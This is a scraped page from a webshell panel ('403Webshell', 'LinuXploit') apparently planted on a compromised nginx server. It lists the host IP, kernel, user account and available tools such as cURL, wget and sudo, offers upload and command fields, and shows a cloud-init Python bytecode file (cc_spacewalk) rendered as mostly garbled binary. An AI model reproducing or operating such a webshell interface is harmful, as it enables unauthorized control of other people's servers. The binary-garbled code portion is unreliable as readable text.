403Webshell
Server IP : 159.223.102.202  /  Your IP : 216.73.216.195
Web Server : nginx/1.26.0
System : Linux Gen1-cloudpanel2ubuntu2404-1vcpu-1gb-nyc1-01 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User : albasshbotta ( 1021)
PHP Version : 8.2.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_spacewalk.cpython-312.pyc
�

�f�
�
��UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZmZddl
mZd	Zd
ddegd
�eed�gdgd�Zeed<ee�Zej$e�ZddgZdgZdZd�Zeddfd�Zdede	dededdf
d�Zy)z*Spacewalk: Install and configure spacewalk�N)�dedent)�subp)�Cloud)�Config)�
MetaSchema�get_meta_doc)�PER_INSTANCEa�This module installs spacewalk and applies basic configuration. If the
``spacewalk`` config key is present spacewalk will be installed. The server to
connect to after installation must be provided in the ``server`` in spacewalk
configuration. A proxy to connect through and a activation key may optionally
be specified.

For more information about spacewalk see: https://fedorahosted.org/spacewalk/
�cc_spacewalk�	SpacewalkzInstall and configure spacewalk)�rhel�fedora�	openeulerz�            spacewalk:
              server: <url>
              proxy: <proxy host>
              activation_key: <key>
            �	spacewalk)�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�meta�redhatr
z	rhn-setupz'/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERTc��d}	tjddgd��d}|S#tj$r}|jdk7r�Yd}~|Sd}~wwxYw)NFzrhn-profile-syncz	--verbose��captureT�)r�ProcessExecutionError�	exit_code)�already_registered�es  �?/usr/lib/python3/dist-packages/cloudinit/config/cc_spacewalk.py�
is_registeredr#4sc������	�	�%�{�3�U�C�!������%�%���;�;�!��������s�!�A�A
�
Ac�~�tjd||�dg}|jdd|zg�|jdt|�g�|r|jdt|�g�|r|jdt|�g�|r|jdt|�g�t	j|d	�
�y)Nz;Registering using `rhnreg_ks` profile '%s' into server '%s'�	rhnreg_ksz--serverUrlzhttps://%s/XMLRPCz
--profilenamez--proxyz--sslCACertz--activationkeyFr)�LOG�info�extend�strr)�server�profile_name�ca_cert_path�proxy�activation_key�cmds      r"�do_registerr0Bs����H�H�E����
�-�C��J�J�
�2�V�;�<�=��J�J���\�!2�3�4���
�
�I�s�5�z�*�+���
�
�M�3�|�#4�5�6���
�
�%�s�>�':�;�<��I�I�c�5�!�r�cfg�cloud�args�returnc��d|vrtjd|�y|d}|jd�}|r||jj	t
�t
�sRt||jjd��j|jd�|jd���yytjd	|�y)
Nrz=Skipping module named %s, no 'spacewalk' key in configurationr*T)�fqdnr-r.)r-r.zOSkipping module named %s, 'spacewalk/server' key was not found in configuration)r&�debug�get�distro�install_packages�required_packagesr#r0�
datasource�get_hostname�hostname)rr2r3r4�spacewalk_servers     r"�handlerAZs����#���	�	�K��	
�	�

�k�
�C��w�w�x�(���
���%�%�&7�8���� �� � �-�-�4�-�8�A�A��g�g�g�&�"�w�w�'7�8�	
��	�	�	�
.��	
r1)�__doc__�logging�textwrapr�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemarr�cloudinit.settingsr	�MODULE_DESCRIPTIONr�__annotations__�	getLogger�__name__r&rr<�def_ca_cert_pathr#r0r)�listrA�r1r"�<module>rQs���0����!�#�<�+�����
.�%�.���
�	
�	�!,�}�#��j��(�t�
���g����!���X�
�� �M��<���""�
��"�0
��
�6�
�%�
�t�
��
r1

Youez - 2016 - github.com/yon3zu
LinuXploit